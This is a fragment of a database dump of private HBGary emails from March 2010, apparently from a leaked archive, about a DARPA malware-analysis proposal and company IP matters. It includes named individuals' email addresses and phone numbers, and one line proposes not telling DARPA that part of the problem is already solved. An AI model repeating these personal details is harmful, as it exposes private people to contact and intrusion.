<bob@hbgary.com>','/aaron@hbgary.com/new/1297001863.M189584P3547Q3684.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tech content from Martin','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nData flow tracing in REcon.&nbsp; I think the answer is &#8220;No&#8221;,\r\nbut let&#8217;s ask Martin.&nbsp; Responder has static data flow tracing.&nbsp;\r\nSome prototype code Greg built around 2 years ago had dynamic data flow tracing\r\nand he called that Active Reversing &#8211; I have a write up on this if you\r\nwant it.&nbsp; Active Reversing was when you use the s/w to do a certain thing\r\nthen you watched what code got executed and you could see how data flowed\r\nthrough the program.&nbsp; Greg called it &#8220;Boron Tagging&#8221;&nbsp; (he\r\nshould have called it &#8220;Barium Tagging&#8221; to keep the play of words\r\nright).&nbsp; Think of it as Data Tagging then watch how the data flows.&nbsp;\r\nLet the program reverse engineer itself.&nbsp; To my knowledge this dynamic\r\nanalysis feature is not in our shipping software.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 6:02 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech content from Martin\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs data flow tracing in REcon?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK so we do static memory analysis through snapshots.\r\n\r\n\r\n\r\n\r\n\r\nwe do dynamic runtime analysis on REcon\r\n\r\n\r\n\r\n\r\n\r\nand we do static data flow tracing on disassembled code\r\nthrough AFR?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo I have this right?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 1:49 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin,\r\nplease reply to confirm if this is correct or modify where incorrect or\r\nincomplete.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDATA\r\nFLOW TRACING\r\n\r\n\r\n\r\n\r\n\r\nEMULATED\r\nCPU STATE MACHINE\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\ngive you this content so you can include it in the AFR section.&nbsp; Martin\r\nsaid a big chunk of the AFR problem has been solved.&nbsp; (We don&#8217;t need\r\nto tell DARPA this.)&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nData\r\nflow tracing is a key component of AFR.&nbsp; In Responder&#8217;s disassembly\r\nsystem is an auto label feature.&nbsp; To make this feature work Martin had to\r\nimplement data flow tracing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nToday\r\ndata flow tracing works at the function level.&nbsp; Martin would have to\r\nextend it for the entire binary across many functions.&nbsp; It is written in\r\nC# now.&nbsp; He would have to rewrite it in C++ for speed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\ndata flow tracing is actually static analysis on disassembled code.&nbsp;\r\nNothing is being executed.&nbsp; It is an emulation environment where there is\r\na giant emulated CPU state machine that emulates all things the CPU does.&nbsp;\r\nSo Martin emulates how data flows through the code and he\r\n&#8220;operates&#8221; on it like a real CPU would.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMe\r\nconnecting some dots&#8230;&#8230;&#8230;AFR is actually a combination of\r\nstatic and dynamic analysis. &nbsp;Suppose we are sitting at a fork in the\r\ncode.&nbsp; Execution has temporarily stopped.&nbsp; Statefulness has been\r\nsnapshotted.&nbsp; Seems to me that AFR does some data flow analysis (which is\r\nstatic analysis of how data is supposed to move their the code) to figure out\r\nwhat the buffers or data inputs need to look like in order to take the left or\r\nright branch. When the data is crafted execution starts back up which brings us\r\ninto dynamic analysis where we can continue harvesting runtime data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16380,'aaron_hbgary_com/16380.html'),(3685,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001863.M411509P3547Q3685.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tech content from Martin','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOops. I didn&#8217;t answer everything you asked.\r\n\r\n&nbsp;\r\n\r\nYes, we do static analysis on binaries extracted from memory\r\nimages.&nbsp; It is frozen in time &#8211; inert and not running &#8211; so it\r\nhas to be static analysis.&nbsp; In static analysis you have the whole enchilada\r\nsitting there as data and you can examine it.&nbsp; Dynamic analysis requires\r\nthe software to be executing.&nbsp; Hey, we probably need to very clearly\r\nDEFINE THIS STUFF IN THE PROPOSAL so the reader understands.\r\n\r\n&nbsp;\r\n\r\nYes, we do dynamic runtime analysis in REcon because we are executing\r\nthe malware.&nbsp; Actually, to me dynamic = runtime, it is redundant.\r\n\r\n&nbsp;\r\n\r\nRegarding AFR, confirm with Martin.&nbsp; I believe in AFR we do\r\nBOTH static and dynamic analysis.&nbsp; It is static data flow tracing when we\r\nare figuring out &#8220;the road ahead&#8221;, ie., branches to take or not\r\ntake.&nbsp; And we are statically (through math and algorithms) trying to\r\nfigure out what the data buffer needs to be to &#8220;cause&#8221; the code to execute\r\nalong a certain sets of branches.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 6:02 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech content from Martin\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIs data flow tracing in REcon?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK so we do static memory analysis through snapshots.\r\n\r\n\r\n\r\n\r\n\r\nwe do dynamic runtime analysis on REcon\r\n\r\n\r\n\r\n\r\n\r\nand we do static data flow tracing on disassembled code\r\nthrough AFR?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo I have this right?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 1:49 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin,\r\nplease reply to confirm if this is correct or modify where incorrect or\r\nincomplete.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDATA\r\nFLOW TRACING\r\n\r\n\r\n\r\n\r\n\r\nEMULATED\r\nCPU STATE MACHINE\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\ngive you this content so you can include it in the AFR section.&nbsp; Martin\r\nsaid a big chunk of the AFR problem has been solved.&nbsp; (We don&#8217;t need\r\nto tell DARPA this.)&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nData\r\nflow tracing is a key component of AFR.&nbsp; In Responder&#8217;s disassembly\r\nsystem is an auto label feature.&nbsp; To make this feature work Martin had to\r\nimplement data flow tracing.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nToday\r\ndata flow tracing works at the function level.&nbsp; Martin would have to\r\nextend it for the entire binary across many functions.&nbsp; It is written in\r\nC# now.&nbsp; He would have to rewrite it in C++ for speed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\ndata flow tracing is actually static analysis on disassembled code.&nbsp;\r\nNothing is being executed.&nbsp; It is an emulation environment where there is\r\na giant emulated CPU state machine that emulates all things the CPU does.&nbsp;\r\nSo Martin emulates how data flows through the code and he\r\n&#8220;operates&#8221; on it like a real CPU would.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMe\r\nconnecting some dots&#8230;&#8230;&#8230;AFR is actually a combination of\r\nstatic and dynamic analysis. &nbsp;Suppose we are sitting at a fork in the\r\ncode.&nbsp; Execution has temporarily stopped.&nbsp; Statefulness has been\r\nsnapshotted.&nbsp; Seems to me that AFR does some data flow analysis (which is\r\nstatic analysis of how data is supposed to move their the code) to figure out\r\nwhat the buffers or data inputs need to look like in order to take the left or\r\nright branch. When the data is crafted execution starts back up which brings us\r\ninto dynamic analysis where we can continue harvesting runtime data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16360,'aaron_hbgary_com/16360.html'),(3686,'2010-03-08','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001863.M645059P3547Q3686.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Great Reference to Responder','what is?\r\n\r\nOn Sat, Mar 6, 2010 at 9:15 PM, Aaron Barr  wrote:\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',7105,'aaron_hbgary_com/7105.html'),(3687,'2010-03-08','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001864.M842076P3547Q3687.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Rev 2.1 of NDA fixes one sentence','USe this for partners of Darpa work.  This is the strongest nda we have\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Kevin Roe \r\nDate: Thu, Mar 4, 2010 at 3:07 PM\r\nSubject: Rev 2.1 of NDA fixes one sentence\r\nTo: Penny Leavy-Hoglund \r\nCc: Arnold de Guzman , Bob Slapnik\r\n, Aaron Barr \r\n\r\n\r\nPenny,\r\n\r\n   Rev 2.1 fixes one sentence in the Choice of Law section in the Non\r\nDisclosure Agreement.  Please delete all previous versions.\r\n\r\n\r\n       Kevin\r\n>\r\n\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',11938,'aaron_hbgary_com/11938.html'),(3688,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001865.M273294P3547Q3689.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tech content from Martin','What&#39;s difference between a debugger and a tracer?From my iPhoneOn Mar 8, 2010, at 8:30 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOops. I didn’t answer everything you asked.\r\n\r\n \r\n\r\nYes, we do static analysis on binaries extracted from memory\r\nimages.  It is frozen in time – inert and not running – so it\r\nhas to be static analysis.  In static analysis you have the whole enchilada\r\nsitting there as data and you can examine it.  Dynamic analysis requires\r\nthe software to be executing.  Hey, we probably need to very clearly\r\nDEFINE THIS STUFF IN THE PROPOSAL so the reader understands.\r\n\r\n \r\n\r\nYes, we do dynamic runtime analysis in REcon because we are executing\r\nthe malware.  Actually, to me dynamic = runtime, it is redundant.\r\n\r\n \r\n\r\nRegarding AFR, confirm with Martin.  I believe in AFR we do\r\nBOTH static and dynamic analysis.  It is static data flow tracing when we\r\nare figuring out “the road ahead”, ie., branches to take or not\r\ntake.  And we are statically (through math and algorithms) trying to\r\nfigure out what the data buffer needs to be to “cause” the code to execute\r\nalong a certain sets of branches.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 6:02 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech content from Martin\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIs data flow tracing in REcon?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOK so we do static memory analysis through snapshots.\r\n\r\n\r\n\r\n\r\n\r\nwe do dynamic runtime analysis on REcon\r\n\r\n\r\n\r\n\r\n\r\nand we do static data flow tracing on disassembled code\r\nthrough AFR?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo I have this right?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 1:49 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin,\r\nplease reply to confirm if this is correct or modify where incorrect or\r\nincomplete.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDATA\r\nFLOW TRACING\r\n\r\n\r\n\r\n\r\n\r\nEMULATED\r\nCPU STATE MACHINE\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\ngive you this content so you can include it in the AFR section.  Martin\r\nsaid a big chunk of the AFR problem has been solved.  (We don’t need\r\nto tell DARPA this.) \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nData\r\nflow tracing is a key component of AFR.  In Responder’s disassembly\r\nsystem is an auto label feature.  To make this feature work Martin had to\r\nimplement data flow tracing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nToday\r\ndata flow tracing works at the function level.  Martin would have to\r\nextend it for the entire binary across many functions.  It is written in\r\nC# now.  He would have to rewrite it in C++ for speed.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThis\r\ndata flow tracing is actually static analysis on disassembled code. \r\nNothing is being executed.  It is an emulation environment where there is\r\na giant emulated CPU state machine that emulates all things the CPU does. \r\nSo Martin emulates how data flows through the code and he\r\n“operates” on it like a real CPU would.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMe\r\nconnecting some dots………AFR is actually a combination of\r\nstatic and dynamic analysis.  Suppose we are sitting at a fork in the\r\ncode.  Execution has temporarily stopped.  Statefulness has been\r\nsnapshotted.  Seems to me that AFR does some data flow analysis (which is\r\nstatic analysis of how data is supposed to move their the code) to figure out\r\nwhat the buffers or data inputs need to look like in order to take the left or\r\nright branch. When the data is crafted execution starts back up which brings us\r\ninto dynamic analysis where we can continue harvesting runtime data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4998,'aaron_hbgary_com/4998.html'),(3689,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001865.M53250P3547Q3688.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tech content from Martin','Ok yeah a conversation with Martin on this would help.  Do we have obfuscation or trigger issues (you mentioned some) when doing static analysis?  How are we doing static analysis.  We wrote our own tracer.  I say we like I had any part of it...ha.\r\nAaronFrom my iPhoneOn Mar 8, 2010, at 8:30 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOops. I didn’t answer everything you asked.\r\n\r\n \r\n\r\nYes, we do static analysis on binaries extracted from memory\r\nimages.  It is frozen in time – inert and not running – so it\r\nhas to be static analysis.  In static analysis you have the whole enchilada\r\nsitting there as data and you can examine it.  Dynamic analysis requires\r\nthe software to be executing.  Hey, we probably need to very clearly\r\nDEFINE THIS STUFF IN THE PROPOSAL so the reader understands.\r\n\r\n \r\n\r\nYes, we do dynamic runtime analysis in REcon because we are executing\r\nthe malware.  Actually, to me dynamic = runtime, it is redundant.\r\n\r\n \r\n\r\nRegarding AFR, confirm with Martin.  I believe in AFR we do\r\nBOTH static and dynamic analysis.  It is static data flow tracing when we\r\nare figuring out “the road ahead”, ie., branches to take or not\r\ntake.  And we are statically (through math and algorithms) trying to\r\nfigure out what the data buffer needs to be to “cause” the code to execute\r\nalong a certain sets of branches.\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 6:02 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tech content from Martin\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nIs data flow tracing in REcon?\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOK so we do static memory analysis through snapshots.\r\n\r\n\r\n\r\n\r\n\r\nwe do dynamic runtime analysis on REcon\r\n\r\n\r\n\r\n\r\n\r\nand we do static data flow tracing on disassembled code\r\nthrough AFR?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo I have this right?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 5, 2010, at 1:49 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMartin,\r\nplease reply to confirm if this is correct or modify where incorrect or\r\nincomplete.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDATA\r\nFLOW TRACING\r\n\r\n\r\n\r\n\r\n\r\nEMULATED\r\nCPU STATE MACHINE\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\ngive you this content so you can include it in the AFR section.  Martin\r\nsaid a big chunk of the AFR problem has been solved.  (We don’t need\r\nto tell DARPA this.) \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nData\r\nflow tracing is a key component of AFR.  In Responder’s disassembly\r\nsystem is an auto label feature.  To make this feature work Martin had to\r\nimplement data flow tracing.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nToday\r\ndata flow tracing works at the function level.  Martin would have to\r\nextend it for the entire binary across many functions.  It is written in\r\nC# now.  He would have to rewrite it in C++ for speed.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThis\r\ndata flow tracing is actually static analysis on disassembled code. \r\nNothing is being executed.  It is an emulation environment where there is\r\na giant emulated CPU state machine that emulates all things the CPU does. \r\nSo Martin emulates how data flows through the code and he\r\n“operates” on it like a real CPU would.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMe\r\nconnecting some dots………AFR is actually a combination of\r\nstatic and dynamic analysis.  Suppose we are sitting at a fork in the\r\ncode.  Execution has temporarily stopped.  Statefulness has been\r\nsnapshotted.  Seems to me that AFR does some data flow analysis (which is\r\nstatic analysis of how data is supposed to move their the code) to figure out\r\nwhat the buffers or data inputs need to look like in order to take the left or\r\nright branch. When the data is crafted execution starts back up which brings us\r\ninto dynamic analysis where we can continue harvesting runtime data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 03/07/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14139,'aaron_hbgary_com/14139.html'),(3690,'2010-03-08','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001865.M536473P3547Q3690.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: IP','Hi Aaron,\r\n\r\nI think we do want HBGary Federal to do special projects but I think\r\nit depends on the project.  With regards to REcon, we would want to\r\nprobably put some changes in the code for our customers.  this product\r\nisn\'t done.  For Unix DDNA, we might want to have HB or Fed do this\r\nsince it wouldn\'t be as hard and we would want to give the know how to\r\nSandy and her company.  We can rely on her memory snapshot.  Greg is\r\nworking on his book this week although hopefully not all the time:)\r\nIt\'s finally sunny, after raining for two days.   I\'ll have him read\r\nemail to provide clarificatino\r\n\r\nOn Sun, Mar 7, 2010 at 5:06 PM, Aaron Barr  wrote:\r\n> Some thoughts for IP and execution of the contract.\r\n>\r\n> HBGary Federal and HBGary will be the only companies doing windows based memory analysis.\r\n>\r\n> On Traits.  I was under the understanding that the trait database and code would be made available to the government on contract to develop their own classified traits libraries.  I also thought I remember someone saying that at some point the ability to write your own traits would be in the product.\r\n>\r\n> On the detection algorithm.  There is no reason this needs to be used other than as a licensed product under the BAA.\r\n>\r\n> Responder.  I see no reason this needs to be used other than as a licensed product under the BAA.\r\n>\r\n> REcon.  This might be the only sticky point.  The development of the Automated Resolution Engine (AFR like but using REcon as base) I think HBGary proper should most of this work in developing an automated complete execution flow capability.  This is the one piece I think deserves the most conversation as to how we want to word the language.  Lets  talk more about this?\r\n>\r\n> Do agree with these assessments?\r\n>\r\n> I was under the impression when starting HBGary federal that one of its primary focuses would be to do the government services and tailored product work that HBGary did not want to do?  So why would HBGary Inc. want to develop specific government capabilities related to lineage trees?  If you do this as a separate subcontract to GD then you will have to manage your own SOW, deliverables, etc. rather than just providing engineering support to HBGary federal.\r\n>\r\n> THoughts.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',12339,'aaron_hbgary_com/12339.html'),(3691,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001865.M745349P3547Q3691.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,,','Re: IP','Ok I think we are back to doing some of this from scratch.  Pikewerks\r\nis on the team to build behavioral analysis of malware for Linux\r\nplatform so I think we are going to have to do this separately from\r\nproduct.  We need to settle this right away.  I can\'t restrict team\r\nmates from developing what they were brought on to develop.  So I\r\nthink we just have to stay away from ddna.  Not sure about recon.\r\n\r\nThoughts?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 8, 2010, at 8:57 AM, Penny Leavy  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n> I think we do want HBGary Federal to do special projects but I think\r\n> it depends on the project.  With regards to REcon, we would want to\r\n> probably put some changes in the code for our customers.  this product\r\n> isn\'t done.  For Unix DDNA, we might want to have HB or Fed do this\r\n> since it wouldn\'t be as hard and we would want to give the know how to\r\n> Sandy and her company.  We can rely on her memory snapshot.  Greg is\r\n> working on his book this week although hopefully not all the time:)\r\n> It\'s finally sunny, after raining for two days.   I\'ll have him read\r\n> email to provide clarificatino\r\n>\r\n> On Sun, Mar 7, 2010 at 5:06 PM, Aaron Barr  wrote:\r\n>> Some thoughts for IP and execution of the contract.\r\n>>\r\n>> HBGary Federal and HBGary will be the only companies doing windows\r\n>> based memory analysis.\r\n>>\r\n>> On Traits.  I was under the understanding that the trait database\r\n>> and code would be made available to the government on contract to\r\n>> develop their own classified traits libraries.  I also thought I\r\n>> remember someone saying that at some point the ability to write\r\n>> your own traits would be in the product.\r\n>>\r\n>> On the detection algorithm.  There is no reason this needs to be\r\n>> used other than as a licensed product under the BAA.\r\n>>\r\n>> Responder.  I see no reason this needs to be used other than as a\r\n>> licensed product under the BAA.\r\n>>\r\n>> REcon.  This might be the only sticky point.  The development of\r\n>> the Automated Resolution Engine (AFR like but using REcon as base)\r\n>> I think HBGary proper should most of this work in developing an\r\n>> automated complete execution flow capability.  This is the one\r\n>> piece I think deserves the most conversation as to how we want to\r\n>> word the language.  Lets  talk more about this?\r\n>>\r\n>> Do agree with these assessments?\r\n>>\r\n>> I was under the impression when starting HBGary federal that one of\r\n>> its primary focuses would be to do the government services and\r\n>> tailored product work that HBGary did not want to do?  So why would\r\n>> HBGary Inc. want to develop specific government capabilities\r\n>> related to lineage trees?  If you do this as a separate subcontract\r\n>> to GD then you will have to manage your own SOW, deliverables, etc.\r\n>> rather than just providing engineering support to HBGary federal.\r\n>>\r\n>> THoughts.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n',3359,'aaron_hbgary_com/3359.html'),(3692,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001865.M925429P3547Q3692.eml','\"Aaron Barr\" <aaron@hbgary.com>','Cal Smith','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n703-625-8853\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5666,'aaron_hbgary_com/5666.html'),(3693,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001866.M237777P3547Q3693.eml','\"Bob Slapnik\" <bob@hbgary.com>','sow','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14847,'aaron_hbgary_com/14847.html'),(3694,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001866.M464714P3547Q3694.eml','\"Bob Slapnik\" <bob@hbgary.com>','SOW','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16243,'aaron_hbgary_com/16243.html'),(3695,'2010-03-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001866.M673060P3547Q3695.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','questions','What fee to use. and what escalation of costs for labor over the 4 years?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2518,'aaron_hbgary_com/2518.html'),(3696,'2010-03-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001867.M108305P3547Q3696.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SOW','\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 08, 2010 10:16 AM\r\nTo: Bob Slapnik\r\nSubject: SOW\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2726 - Release Date: 